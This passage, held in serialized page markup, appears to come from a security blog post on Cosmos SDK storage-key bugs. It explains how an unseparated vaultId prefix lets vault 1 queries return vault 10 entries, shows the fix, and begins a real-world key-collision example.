",{"type":24,"tag":135,"props":95070,"children":95072},{"className":95071},[],[95073],{"type":29,"value":91996},{"type":29,"value":95075}," prefix. Below is an example of an attempt to fetch data with ",{"type":24,"tag":135,"props":95077,"children":95079},{"className":95078},[],[95080],{"type":29,"value":95081},"vaultId",{"type":29,"value":12210},{"type":24,"tag":261,"props":95084,"children":95086},{"code":95085,"language":82954,"meta":7,"className":82955,"style":7},"func FetchPositionMapWithVaultId(\n vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n values := map[Username]map[PositionName]Position{}\n i := sdk.KVStorePrefixIterator(\n kvStore,\n fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n )\n for ; i.Valid(); i.Next() {\n k := strings.split(i.Key(), Seperator)\n\n username := make([]byte, hex.DecodedLen(k[0]))\n _, err := hex.Decode(username, k[0])\n if err != nil {\n return nil, err\n }\n\n positionName := make([]byte, hex.DecodedLen(k[1]))\n _, err := hex.Decode(positionName, k[1])\n if err != nil {\n return nil, err\n }\n\n if entry, ok := values[username]; !ok {\n values[username] = make(map[PositionName])\n }\n\n values[username][positionName] = Position {\n data: iterator.Value(),\n }\n }\n return values\n}\n",[95087],{"type":24,"tag":135,"props":95088,"children":95089},{"__ignoreMap":7},[95090,95106,95121,95170,95222,95251,95263,95309,95316,95362,95417,95424,95488,95549,95572,95591,95598,95605,95665,95724,95747,95766,95773,95780,95833,95881,95888,95895,95935,95964,95971,95978,95990],{"type":24,"tag":271,"props":95091,"children":95092},{"class":273,"line":274},[95093,95097,95102],{"type":24,"tag":271,"props":95094,"children":95095},{"style":278},[95096],{"type":29,"value":83090},{"type":24,"tag":271,"props":95098,"children":95099},{"style":598},[95100],{"type":29,"value":95101}," FetchPositionMapWithVaultId",{"type":24,"tag":271,"props":95103,"children":95104},{"style":288},[95105],{"type":29,"value":4028},{"type":24,"tag":271,"props":95107,"children":95108},{"class":273,"line":284},[95109,95113,95117],{"type":24,"tag":271,"props":95110,"children":95111},{"style":630},[95112],{"type":29,"value":92037},{"type":24,"tag":271,"props":95114,"children":95115},{"style":3887},[95116],{"type":29,"value":83211},{"type":24,"tag":271,"props":95118,"children":95119},{"style":288},[95120],{"type":29,"value":638},{"type":24,"tag":271,"props":95122,"children":95123},{"class":273,"line":294},[95124,95129,95133,95137,95141,95145,95149,95153,95157,95161,95166],{"type":24,"tag":271,"props":95125,"children":95126},{"style":288},[95127],{"type":29,"value":95128},") ([]",{"type":24,"tag":271,"props":95130,"children":95131},{"style":278},[95132],{"type":29,"value":73889},{"type":24,"tag":271,"props":95134,"children":95135},{"style":288},[95136],{"type":29,"value":4520},{"type":24,"tag":271,"props":95138,"children":95139},{"style":3887},[95140],{"type":29,"value":91942},{"type":24,"tag":271,"props":95142,"children":95143},{"style":288},[95144],{"type":29,"value":23108},{"type":24,"tag":271,"props":95146,"children":95147},{"style":278},[95148],{"type":29,"value":73889},{"type":24,"tag":271,"props":95150,"children":95151},{"style":288},[95152],{"type":29,"value":4520},{"type":24,"tag":271,"props":95154,"children":95155},{"style":3887},[95156],{"type":29,"value":91959},{"type":24,"tag":271,"props":95158,"children":95159},{"style":288},[95160],{"type":29,"value":23108},{"type":24,"tag":271,"props":95162,"children":95163},{"style":3887},[95164],{"type":29,"value":95165},"Position",{"type":24,"tag":271,"props":95167,"children":95168},{"style":288},[95169],{"type":29,"value":919},{"type":24,"tag":271,"props":95171,"children":95172},{"class":273,"line":303},[95173,95178,95182,95186,95190,95194,95198,95202,95206,95210,95214,95218],{"type":24,"tag":271,"props":95174,"children":95175},{"style":630},[95176],{"type":29,"value":95177}," values",{"type":24,"tag":271,"props":95179,"children":95180},{"style":624},[95181],{"type":29,"value":83206},{"type":24,"tag":271,"props":95183,"children":95184},{"style":278},[95185],{"type":29,"value":57331},{"type":24,"tag":271,"props":95187,"children":95188},{"style":288},[95189],{"type":29,"value":4520},{"type":24,"tag":271,"props":95191,"children":95192},{"style":3887},[95193],{"type":29,"value":91942},{"type":24,"tag":271,"props":95195,"children":95196},{"style":288},[95197],{"type":29,"value":23108},{"type":24,"tag":271,"props":95199,"children":95200},{"style":278},[95201],{"type":29,"value":73889},{"type":24,"tag":271,"props":95203,"children":95204},{"style":288},[95205],{"type":29,"value":4520},{"type":24,"tag":271,"props":95207,"children":95208},{"style":3887},[95209],{"type":29,"value":91959},{"type":24,"tag":271,"props":95211,"children":95212},{"style":288},[95213],{"type":29,"value":23108},{"type":24,"tag":271,"props":95215,"children":95216},{"style":3887},[95217],{"type":29,"value":95165},{"type":24,"tag":271,"props":95219,"children":95220},{"style":288},[95221],{"type":29,"value":84887},{"type":24,"tag":271,"props":95223,"children":95224},{"class":273,"line":312},[95225,95230,95234,95238,95242,95247],{"type":24,"tag":271,"props":95226,"children":95227},{"style":630},[95228],{"type":29,"value":95229}," i",{"type":24,"tag":271,"props":95231,"children":95232},{"style":624},[95233],{"type":29,"value":83206},{"type":24,"tag":271,"props":95235,"children":95236},{"style":630},[95237],{"type":29,"value":85431},{"type":24,"tag":271,"props":95239,"children":95240},{"style":288},[95241],{"type":29,"value":41},{"type":24,"tag":271,"props":95243,"children":95244},{"style":598},[95245],{"type":29,"value":95246},"KVStorePrefixIterator",{"type":24,"tag":271,"props":95248,"children":95249},{"style":288},[95250],{"type":29,"value":4028},{"type":24,"tag":271,"props":95252,"children":95253},{"class":273,"line":321},[95254,95259],{"type":24,"tag":271,"props":95255,"children":95256},{"style":630},[95257],{"type":29,"value":95258}," kvStore",{"type":24,"tag":271,"props":95260,"children":95261},{"style":288},[95262],{"type":29,"value":638},{"type":24,"tag":271,"props":95264,"children":95265},{"class":273,"line":330},[95266,95271,95275,95279,95283,95288,95292,95297,95301,95305],{"type":24,"tag":271,"props":95267,"children":95268},{"style":630},[95269],{"type":29,"value":95270}," fmt",{"type":24,"tag":271,"props":95272,"children":95273},{"style":288},[95274],{"type":29,"value":41},{"type":24,"tag":271,"props":95276,"children":95277},{"style":598},[95278],{"type":29,"value":92013},{"type":24,"tag":271,"props":95280,"children":95281},{"style":288},[95282],{"type":29,"value":606},{"type":24,"tag":271,"props":95284,"children":95285},{"style":378},[95286],{"type":29,"value":95287},"\"%s%d\"",{"type":24,"tag":271,"props":95289,"children":95290},{"style":288},[95291],{"type":29,"value":158},{"type":24,"tag":271,"props":95293,"children":95294},{"style":630},[95295],{"type":29,"value":95296},"PositionMapPrefix",{"type":24,"tag":271,"props":95298,"children":95299},{"style":288},[95300],{"type":29,"value":158},{"type":24,"tag":271,"props":95302,"children":95303},{"style":630},[95304],{"type":29,"value":95081},{"type":24,"tag":271,"props":95306,"children":95307},{"style":288},[95308],{"type":29,"value":694},{"type":24,"tag":271,"props":95310,"children":95311},{"class":273,"line":339},[95312],{"type":24,"tag":271,"props":95313,"children":95314},{"style":288},[95315],{"type":29,"value":31595},{"type":24,"tag":271,"props":95317,"children":95318},{"class":273,"line":347},[95319,95323,95328,95332,95336,95341,95345,95349,95353,95358],{"type":24,"tag":271,"props":95320,"children":95321},{"style":749},[95322],{"type":29,"value":4149},{"type":24,"tag":271,"props":95324,"children":95325},{"style":288},[95326],{"type":29,"value":95327}," ; ",{"type":24,"tag":271,"props":95329,"children":95330},{"style":630},[95331],{"type":29,"value":11462},{"type":24,"tag":271,"props":95333,"children":95334},{"style":288},[95335],{"type":29,"value":41},{"type":24,"tag":271,"props":95337,"children":95338},{"style":598},[95339],{"type":29,"value":95340},"Valid",{"type":24,"tag":271,"props":95342,"children":95343},{"style":288},[95344],{"type":29,"value":36125},{"type":24,"tag":271,"props":95346,"children":95347},{"style":630},[95348],{"type":29,"value":11462},{"type":24,"tag":271,"props":95350,"children":95351},{"style":288},[95352],{"type":29,"value":41},{"type":24,"tag":271,"props":95354,"children":95355},{"style":598},[95356],{"type":29,"value":95357},"Next",{"type":24,"tag":271,"props":95359,"children":95360},{"style":288},[95361],{"type":29,"value":23434},{"type":24,"tag":271,"props":95363,"children":95364},{"class":273,"line":356},[95365,95370,95374,95379,95383,95387,95391,95395,95399,95404,95408,95413],{"type":24,"tag":271,"props":95366,"children":95367},{"style":630},[95368],{"type":29,"value":95369}," k",{"type":24,"tag":271,"props":95371,"children":95372},{"style":624},[95373],{"type":29,"value":83206},{"type":24,"tag":271,"props":95375,"children":95376},{"style":630},[95377],{"type":29,"value":95378}," strings",{"type":24,"tag":271,"props":95380,"children":95381},{"style":288},[95382],{"type":29,"value":41},{"type":24,"tag":271,"props":95384,"children":95385},{"style":598},[95386],{"type":29,"value":76830},{"type":24,"tag":271,"props":95388,"children":95389},{"style":288},[95390],{"type":29,"value":606},{"type":24,"tag":271,"props":95392,"children":95393},{"style":630},[95394],{"type":29,"value":11462},{"type":24,"tag":271,"props":95396,"children":95397},{"style":288},[95398],{"type":29,"value":41},{"type":24,"tag":271,"props":95400,"children":95401},{"style":598},[95402],{"type":29,"value":95403},"Key",{"type":24,"tag":271,"props":95405,"children":95406},{"style":288},[95407],{"type":29,"value":26067},{"type":24,"tag":271,"props":95409,"children":95410},{"style":630},[95411],{"type":29,"value":95412},"Seperator",{"type":24,"tag":271,"props":95414,"children":95415},{"style":288},[95416],{"type":29,"value":694},{"type":24,"tag":271,"props":95418,"children":95419},{"class":273,"line":365},[95420],{"type":24,"tag":271,"props":95421,"children":95422},{"emptyLinePlaceholder":16},[95423],{"type":29,"value":327},{"type":24,"tag":271,"props":95425,"children":95426},{"class":273,"line":374},[95427,95432,95436,95440,95445,95449,95453,95457,95461,95466,95470,95475,95479,95483],{"type":24,"tag":271,"props":95428,"children":95429},{"style":630},[95430],{"type":29,"value":95431}," username",{"type":24,"tag":271,"props":95433,"children":95434},{"style":624},[95435],{"type":29,"value":83206},{"type":24,"tag":271,"props":95437,"children":95438},{"style":598},[95439],{"type":29,"value":92354},{"type":24,"tag":271,"props":95441,"children":95442},{"style":288},[95443],{"type":29,"value":95444},"([]",{"type":24,"tag":271,"props":95446,"children":95447},{"style":3887},[95448],{"type":29,"value":91555},{"type":24,"tag":271,"props":95450,"children":95451},{"style":288},[95452],{"type":29,"value":158},{"type":24,"tag":271,"props":95454,"children":95455},{"style":630},[95456],{"type":29,"value":92427},{"type":24,"tag":271,"props":95458,"children":95459},{"style":288},[95460],{"type":29,"value":41},{"type":24,"tag":271,"props":95462,"children":95463},{"style":598},[95464],{"type":29,"value":95465},"DecodedLen",{"type":24,"tag":271,"props":95467,"children":95468},{"style":288},[95469],{"type":29,"value":606},{"type":24,"tag":271,"props":95471,"children":95472},{"style":630},[95473],{"type":29,"value":95474},"k",{"type":24,"tag":271,"props":95476,"children":95477},{"style":288},[95478],{"type":29,"value":4520},{"type":24,"tag":271,"props":95480,"children":95481},{"style":477},[95482],{"type":29,"value":4121},{"type":24,"tag":271,"props":95484,"children":95485},{"style":288},[95486],{"type":29,"value":95487},"]))\n",{"type":24,"tag":271,"props":95489,"children":95490},{"class":273,"line":384},[95491,95495,95499,95503,95507,95512,95516,95521,95525,95529,95533,95537,95541,95545],{"type":24,"tag":271,"props":95492,"children":95493},{"style":630},[95494],{"type":29,"value":35424},{"type":24,"tag":271,"props":95496,"children":95497},{"style":288},[95498],{"type":29,"value":158},{"type":24,"tag":271,"props":95500,"children":95501},{"style":630},[95502],{"type":29,"value":56085},{"type":24,"tag":271,"props":95504,"children":95505},{"style":624},[95506],{"type":29,"value":83206},{"type":24,"tag":271,"props":95508,"children":95509},{"style":630},[95510],{"type":29,"value":95511}," hex",{"type":24,"tag":271,"props":95513,"children":95514},{"style":288},[95515],{"type":29,"value":41},{"type":24,"tag":271,"props":95517,"children":95518},{"style":598},[95519],{"type":29,"value":95520},"Decode",{"type":24,"tag":271,"props":95522,"children":95523},{"style":288},[95524],{"type":29,"value":606},{"type":24,"tag":271,"props":95526,"children":95527},{"style":630},[95528],{"type":29,"value":92261},{"type":24,"tag":271,"props":95530,"children":95531},{"style":288},[95532],{"type":29,"value":158},{"type":24,"tag":271,"props":95534,"children":95535},{"style":630},[95536],{"type":29,"value":95474},{"type":24,"tag":271,"props":95538,"children":95539},{"style":288},[95540],{"type":29,"value":4520},{"type":24,"tag":271,"props":95542,"children":95543},{"style":477},[95544],{"type":29,"value":4121},{"type":24,"tag":271,"props":95546,"children":95547},{"style":288},[95548],{"type":29,"value":5085},{"type":24,"tag":271,"props":95550,"children":95551},{"class":273,"line":393},[95552,95556,95560,95564,95568],{"type":24,"tag":271,"props":95553,"children":95554},{"style":749},[95555],{"type":29,"value":7512},{"type":24,"tag":271,"props":95557,"children":95558},{"style":630},[95559],{"type":29,"value":56186},{"type":24,"tag":271,"props":95561,"children":95562},{"style":624},[95563],{"type":29,"value":71173},{"type":24,"tag":271,"props":95565,"children":95566},{"style":278},[95567],{"type":29,"value":88708},{"type":24,"tag":271,"props":95569,"children":95570},{"style":288},[95571],{"type":29,"value":7145},{"type":24,"tag":271,"props":95573,"children":95574},{"class":273,"line":402},[95575,95579,95583,95587],{"type":24,"tag":271,"props":95576,"children":95577},{"style":749},[95578],{"type":29,"value":85866},{"type":24,"tag":271,"props":95580,"children":95581},{"style":278},[95582],{"type":29,"value":88708},{"type":24,"tag":271,"props":95584,"children":95585},{"style":288},[95586],{"type":29,"value":158},{"type":24,"tag":271,"props":95588,"children":95589},{"style":630},[95590],{"type":29,"value":90429},{"type":24,"tag":271,"props":95592,"children":95593},{"class":273,"line":411},[95594],{"type":24,"tag":271,"props":95595,"children":95596},{"style":288},[95597],{"type":29,"value":7574},{"type":24,"tag":271,"props":95599,"children":95600},{"class":273,"line":420},[95601],{"type":24,"tag":271,"props":95602,"children":95603},{"emptyLinePlaceholder":16},[95604],{"type":29,"value":327},{"type":24,"tag":271,"props":95606,"children":95607},{"class":273,"line":429},[95608,95613,95617,95621,95625,95629,95633,95637,95641,95645,95649,95653,95657,95661],{"type":24,"tag":271,"props":95609,"children":95610},{"style":630},[95611],{"type":29,"value":95612}," positionName",{"type":24,"tag":271,"props":95614,"children":95615},{"style":624},[95616],{"type":29,"value":83206},{"type":24,"tag":271,"props":95618,"children":95619},{"style":598},[95620],{"type":29,"value":92354},{"type":24,"tag":271,"props":95622,"children":95623},{"style":288},[95624],{"type":29,"value":95444},{"type":24,"tag":271,"props":95626,"children":95627},{"style":3887},[95628],{"type":29,"value":91555},{"type":24,"tag":271,"props":95630,"children":95631},{"style":288},[95632],{"type":29,"value":158},{"type":24,"tag":271,"props":95634,"children":95635},{"style":630},[95636],{"type":29,"value":92427},{"type":24,"tag":271,"props":95638,"children":95639},{"style":288},[95640],{"type":29,"value":41},{"type":24,"tag":271,"props":95642,"children":95643},{"style":598},[95644],{"type":29,"value":95465},{"type":24,"tag":271,"props":95646,"children":95647},{"style":288},[95648],{"type":29,"value":606},{"type":24,"tag":271,"props":95650,"children":95651},{"style":630},[95652],{"type":29,"value":95474},{"type":24,"tag":271,"props":95654,"children":95655},{"style":288},[95656],{"type":29,"value":4520},{"type":24,"tag":271,"props":95658,"children":95659},{"style":477},[95660],{"type":29,"value":156},{"type":24,"tag":271,"props":95662,"children":95663},{"style":288},[95664],{"type":29,"value":95487},{"type":24,"tag":271,"props":95666,"children":95667},{"class":273,"line":438},[95668,95672,95676,95680,95684,95688,95692,95696,95700,95704,95708,95712,95716,95720],{"type":24,"tag":271,"props":95669,"children":95670},{"style":630},[95671],{"type":29,"value":35424},{"type":24,"tag":271,"props":95673,"children":95674},{"style":288},[95675],{"type":29,"value":158},{"type":24,"tag":271,"props":95677,"children":95678},{"style":630},[95679],{"type":29,"value":56085},{"type":24,"tag":271,"props":95681,"children":95682},{"style":624},[95683],{"type":29,"value":83206},{"type":24,"tag":271,"props":95685,"children":95686},{"style":630},[95687],{"type":29,"value":95511},{"type":24,"tag":271,"props":95689,"children":95690},{"style":288},[95691],{"type":29,"value":41},{"type":24,"tag":271,"props":95693,"children":95694},{"style":598},[95695],{"type":29,"value":95520},{"type":24,"tag":271,"props":95697,"children":95698},{"style":288},[95699],{"type":29,"value":606},{"type":24,"tag":271,"props":95701,"children":95702},{"style":630},[95703],{"type":29,"value":92530},{"type":24,"tag":271,"props":95705,"children":95706},{"style":288},[95707],{"type":29,"value":158},{"type":24,"tag":271,"props":95709,"children":95710},{"style":630},[95711],{"type":29,"value":95474},{"type":24,"tag":271,"props":95713,"children":95714},{"style":288},[95715],{"type":29,"value":4520},{"type":24,"tag":271,"props":95717,"children":95718},{"style":477},[95719],{"type":29,"value":156},{"type":24,"tag":271,"props":95721,"children":95722},{"style":288},[95723],{"type":29,"value":5085},{"type":24,"tag":271,"props":95725,"children":95726},{"class":273,"line":447},[95727,95731,95735,95739,95743],{"type":24,"tag":271,"props":95728,"children":95729},{"style":749},[95730],{"type":29,"value":7512},{"type":24,"tag":271,"props":95732,"children":95733},{"style":630},[95734],{"type":29,"value":56186},{"type":24,"tag":271,"props":95736,"children":95737},{"style":624},[95738],{"type":29,"value":71173},{"type":24,"tag":271,"props":95740,"children":95741},{"style":278},[95742],{"type":29,"value":88708},{"type":24,"tag":271,"props":95744,"children":95745},{"style":288},[95746],{"type":29,"value":7145},{"type":24,"tag":271,"props":95748,"children":95749},{"class":273,"line":455},[95750,95754,95758,95762],{"type":24,"tag":271,"props":95751,"children":95752},{"style":749},[95753],{"type":29,"value":85866},{"type":24,"tag":271,"props":95755,"children":95756},{"style":278},[95757],{"type":29,"value":88708},{"type":24,"tag":271,"props":95759,"children":95760},{"style":288},[95761],{"type":29,"value":158},{"type":24,"tag":271,"props":95763,"children":95764},{"style":630},[95765],{"type":29,"value":90429},{"type":24,"tag":271,"props":95767,"children":95768},{"class":273,"line":464},[95769],{"type":24,"tag":271,"props":95770,"children":95771},{"style":288},[95772],{"type":29,"value":7574},{"type":24,"tag":271,"props":95774,"children":95775},{"class":273,"line":473},[95776],{"type":24,"tag":271,"props":95777,"children":95778},{"emptyLinePlaceholder":16},[95779],{"type":29,"value":327},{"type":24,"tag":271,"props":95781,"children":95782},{"class":273,"line":483},[95783,95787,95791,95795,95799,95803,95808,95812,95816,95821,95825,95829],{"type":24,"tag":271,"props":95784,"children":95785},{"style":749},[95786],{"type":29,"value":7512},{"type":24,"tag":271,"props":95788,"children":95789},{"style":630},[95790],{"type":29,"value":69428},{"type":24,"tag":271,"props":95792,"children":95793},{"style":288},[95794],{"type":29,"value":158},{"type":24,"tag":271,"props":95796,"children":95797},{"style":630},[95798],{"type":29,"value":85557},{"type":24,"tag":271,"props":95800,"children":95801},{"style":624},[95802],{"type":29,"value":83206},{"type":24,"tag":271,"props":95804,"children":95805},{"style":630},[95806],{"type":29,"value":95807}," values",{"type":24,"tag":271,"props":95809,"children":95810},{"style":288},[95811],{"type":29,"value":4520},{"type":24,"tag":271,"props":95813,"children":95814},{"style":630},[95815],{"type":29,"value":92261},{"type":24,"tag":271,"props":95817,"children":95818},{"style":288},[95819],{"type":29,"value":95820},"]; ",{"type":24,"tag":271,"props":95822,"children":95823},{"style":624},[95824],{"type":29,"value":1818},{"type":24,"tag":271,"props":95826,"children":95827},{"style":630},[95828],{"type":29,"value":85557},{"type":24,"tag":271,"props":95830,"children":95831},{"style":288},[95832],{"type":29,"value":7145},{"type":24,"tag":271,"props":95834,"children":95835},{"class":273,"line":491},[95836,95841,95845,95849,95853,95857,95861,95865,95869,95873,95877],{"type":24,"tag":271,"props":95837,"children":95838},{"style":630},[95839],{"type":29,"value":95840}," values",{"type":24,"tag":271,"props":95842,"children":95843},{"style":288},[95844],{"type":29,"value":4520},{"type":24,"tag":271,"props":95846,"children":95847},{"style":630},[95848],{"type":29,"value":92261},{"type":24,"tag":271,"props":95850,"children":95851},{"style":288},[95852],{"type":29,"value":4530},{"type":24,"tag":271,"props":95854,"children":95855},{"style":624},[95856],{"type":29,"value":762},{"type":24,"tag":271,"props":95858,"children":95859},{"style":598},[95860],{"type":29,"value":92354},{"type":24,"tag":271,"props":95862,"children":95863},{"style":288},[95864],{"type":29,"value":606},{"type":24,"tag":271,"props":95866,"children":95867},{"style":278},[95868],{"type":29,"value":73889},{"type":24,"tag":271,"props":95870,"children":95871},{"style":288},[95872],{"type":29,"value":4520},{"type":24,"tag":271,"props":95874,"children":95875},{"style":3887},[95876],{"type":29,"value":91959},{"type":24,"tag":271,"props":95878,"children":95879},{"style":288},[95880],{"type":29,"value":5085},{"type":24,"tag":271,"props":95882,"children":95883},{"class":273,"line":499},[95884],{"type":24,"tag":271,"props":95885,"children":95886},{"style":288},[95887],{"type":29,"value":7574},{"type":24,"tag":271,"props":95889,"children":95890},{"class":273,"line":3188},[95891],{"type":24,"tag":271,"props":95892,"children":95893},{"emptyLinePlaceholder":16},[95894],{"type":29,"value":327},{"type":24,"tag":271,"props":95896,"children":95897},{"class":273,"line":3247},[95898,95903,95907,95911,95915,95919,95923,95927,95931],{"type":24,"tag":271,"props":95899,"children":95900},{"style":630},[95901],{"type":29,"value":95902}," values",{"type":24,"tag":271,"props":95904,"children":95905},{"style":288},[95906],{"type":29,"value":4520},{"type":24,"tag":271,"props":95908,"children":95909},{"style":630},[95910],{"type":29,"value":92261},{"type":24,"tag":271,"props":95912,"children":95913},{"style":288},[95914],{"type":29,"value":5046},{"type":24,"tag":271,"props":95916,"children":95917},{"style":630},[95918],{"type":29,"value":92530},{"type":24,"tag":271,"props":95920,"children":95921},{"style":288},[95922],{"type":29,"value":4530},{"type":24,"tag":271,"props":95924,"children":95925},{"style":624},[95926],{"type":29,"value":762},{"type":24,"tag":271,"props":95928,"children":95929},{"style":630},[95930],{"type":29,"value":15141},{"type":24,"tag":271,"props":95932,"children":95933},{"style":288},[95934],{"type":29,"value":7145},{"type":24,"tag":271,"props":95936,"children":95937},{"class":273,"line":3255},[95938,95942,95946,95951,95955,95960],{"type":24,"tag":271,"props":95939,"children":95940},{"style":630},[95941],{"type":29,"value":34627},{"type":24,"tag":271,"props":95943,"children":95944},{"style":288},[95945],{"type":29,"value":23028},{"type":24,"tag":271,"props":95947,"children":95948},{"style":630},[95949],{"type":29,"value":95950},"iterator",{"type":24,"tag":271,"props":95952,"children":95953},{"style":288},[95954],{"type":29,"value":41},{"type":24,"tag":271,"props":95956,"children":95957},{"style":598},[95958],{"type":29,"value":95959},"Value",{"type":24,"tag":271,"props":95961,"children":95962},{"style":288},[95963],{"type":29,"value":11217},{"type":24,"tag":271,"props":95965,"children":95966},{"class":273,"line":3263},[95967],{"type":24,"tag":271,"props":95968,"children":95969},{"style":288},[95970],{"type":29,"value":7574},{"type":24,"tag":271,"props":95972,"children":95973},{"class":273,"line":3293},[95974],{"type":24,"tag":271,"props":95975,"children":95976},{"style":288},[95977],{"type":29,"value":4385},{"type":24,"tag":271,"props":95979,"children":95980},{"class":273,"line":3301},[95981,95985],{"type":24,"tag":271,"props":95982,"children":95983},{"style":749},[95984],{"type":29,"value":9640},{"type":24,"tag":271,"props":95986,"children":95987},{"style":630},[95988],{"type":29,"value":95989}," values\n",{"type":24,"tag":271,"props":95991,"children":95992},{"class":273,"line":3683},[95993],{"type":24,"tag":271,"props":95994,"children":95995},{"style":288},[95996],{"type":29,"value":1171},{"type":24,"tag":25,"props":95998,"children":95999},{},[96000,96002,96008,96009,96015,96017,96022,96024,96029,96031,96036,96038,96044,96046,96052],{"type":29,"value":96001},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":24,"tag":135,"props":96003,"children":96005},{"className":96004},[],[96006],{"type":29,"value":96007},"vaultId = 1",{"type":29,"value":518},{"type":24,"tag":135,"props":96010,"children":96012},{"className":96011},[],[96013],{"type":29,"value":96014},"vaultId = 10",{"type":29,"value":96016}," coexist. If we try to fetch data under ",{"type":24,"tag":135,"props":96018,"children":96020},{"className":96019},[],[96021],{"type":29,"value":96007},{"type":29,"value":96023},", all entries under ",{"type":24,"tag":135,"props":96025,"children":96027},{"className":96026},[],[96028],{"type":29,"value":96014},{"type":29,"value":96030}," will also be returned simply because ",{"type":24,"tag":135,"props":96032,"children":96034},{"className":96033},[],[96035],{"type":29,"value":156},{"type":29,"value":96037}," is a prefix of ",{"type":24,"tag":135,"props":96039,"children":96041},{"className":96040},[],[96042],{"type":29,"value":96043},"10",{"type":29,"value":96045},". To fix this, we must once again append the ",{"type":24,"tag":135,"props":96047,"children":96049},{"className":96048},[],[96050],{"type":29,"value":96051},"Separator",{"type":29,"value":96053}," to the iterator prefix.",{"type":24,"tag":261,"props":96055,"children":96057},{"code":96056,"language":82954,"meta":7,"className":82955,"style":7},"i := sdk.KVStorePrefixIterator(\n kvStore,\n fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[96058],{"type":24,"tag":135,"props":96059,"children":96060},{"__ignoreMap":7},[96061,96088,96100,96153],{"type":24,"tag":271,"props":96062,"children":96063},{"class":273,"line":274},[96064,96068,96072,96076,96080,96084],{"type":24,"tag":271,"props":96065,"children":96066},{"style":630},[96067],{"type":29,"value":11462},{"type":24,"tag":271,"props":96069,"children":96070},{"style":624},[96071],{"type":29,"value":83206},{"type":24,"tag":271,"props":96073,"children":96074},{"style":630},[96075],{"type":29,"value":85431},{"type":24,"tag":271,"props":96077,"children":96078},{"style":288},[96079],{"type":29,"value":41},{"type":24,"tag":271,"props":96081,"children":96082},{"style":598},[96083],{"type":29,"value":95246},{"type":24,"tag":271,"props":96085,"children":96086},{"style":288},[96087],{"type":29,"value":4028},{"type":24,"tag":271,"props":96089,"children":96090},{"class":273,"line":284},[96091,96096],{"type":24,"tag":271,"props":96092,"children":96093},{"style":630},[96094],{"type":29,"value":96095}," kvStore",{"type":24,"tag":271,"props":96097,"children":96098},{"style":288},[96099],{"type":29,"value":638},{"type":24,"tag":271,"props":96101,"children":96102},{"class":273,"line":294},[96103,96108,96112,96116,96120,96125,96129,96133,96137,96141,96145,96149],{"type":24,"tag":271,"props":96104,"children":96105},{"style":630},[96106],{"type":29,"value":96107}," fmt",{"type":24,"tag":271,"props":96109,"children":96110},{"style":288},[96111],{"type":29,"value":41},{"type":24,"tag":271,"props":96113,"children":96114},{"style":598},[96115],{"type":29,"value":92013},{"type":24,"tag":271,"props":96117,"children":96118},{"style":288},[96119],{"type":29,"value":606},{"type":24,"tag":271,"props":96121,"children":96122},{"style":378},[96123],{"type":29,"value":96124},"\"%s%d%s\"",{"type":24,"tag":271,"props":96126,"children":96127},{"style":288},[96128],{"type":29,"value":158},{"type":24,"tag":271,"props":96130,"children":96131},{"style":630},[96132],{"type":29,"value":95296},{"type":24,"tag":271,"props":96134,"children":96135},{"style":288},[96136],{"type":29,"value":158},{"type":24,"tag":271,"props":96138,"children":96139},{"style":630},[96140],{"type":29,"value":95081},{"type":24,"tag":271,"props":96142,"children":96143},{"style":288},[96144],{"type":29,"value":158},{"type":24,"tag":271,"props":96146,"children":96147},{"style":630},[96148],{"type":29,"value":95412},{"type":24,"tag":271,"props":96150,"children":96151},{"style":288},[96152],{"type":29,"value":14453},{"type":24,"tag":271,"props":96154,"children":96155},{"class":273,"line":303},[96156],{"type":24,"tag":271,"props":96157,"children":96158},{"style":288},[96159],{"type":29,"value":694},{"type":24,"tag":25,"props":96161,"children":96162},{},[96163,96165,96170],{"type":29,"value":96164},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":24,"tag":135,"props":96166,"children":96168},{"className":96167},[],[96169],{"type":29,"value":91767},{"type":29,"value":96171}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":24,"tag":25,"props":96173,"children":96174},{},[96175],{"type":29,"value":96176},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":24,"tag":85,"props":96178,"children":96180},{"id":96179},"real-world-examples-5",[96181],{"type":29,"value":83479},{"type":24,"tag":25,"props":96183,"children":96184},{},[96185,96186,96191,96193,96200,96202,96208],{"type":29,"value":1422},{"type":24,"tag":135,"props":96187,"children":96189},{"className":96188},[],[96190],{"type":29,"value":85252},{"type":29,"value":96192}," previously lacked protection against KVStore ",{"type":24,"tag":32,"props":96194,"children":96197},{"href":96195,"rel":96196},"https://github.com/cosmos/cosmos-sdk/pull/9363",[36],[96198],{"type":29,"value":96199},"key collisions",{"type":29,"value":96201},". This prior oversight allowed developers to unintentionally create two ",{"type":24,"tag":135,"props":96203,"children":96205},{"className":96204},[],[96206],{"type":29,"value":96207},"KVStores",{"type":29,"value":96209}," that were not independent of each other.",{"type":24,"tag":25,"props":96211,"children":96212},{},[96213],{"type":24,"tag":32,"props":96214,"children":96217},{"href":96215,"rel":96216},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[36],[96218],{"type":29,"value":83529},{"type":24,"tag":261,"props":96220,"children":96222},{"code":96221,"language":82954,"meta":7,"className":82955,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n keys := make(map[string]*KVStoreKey)\n for _, name := range names {\n keys[name] = NewKVStoreKey(name)\n }\n\n return keys\n}\n",[96223],{"type":24,"tag":135,"props":96224,"children":96225},{"__ignoreMap":7},[96226,96288,96336,96372,96412,96419,96426,96438],{"type":24,"tag":271,"props":96227,"children":96228},{"class":273,"line":274},[96229,96233,96238,96242,96247,96251,96255,96259,96263,96267,96271,96275,96279,96284],{"type":24,"tag":271,"props":96230,"children":96231},{"style":278},[96232],{"type":29,"value":83090},{"type":24,"tag":271,"props":96234,"children":96235},{"style":598},[96236],{"type":29,"value":96237}," 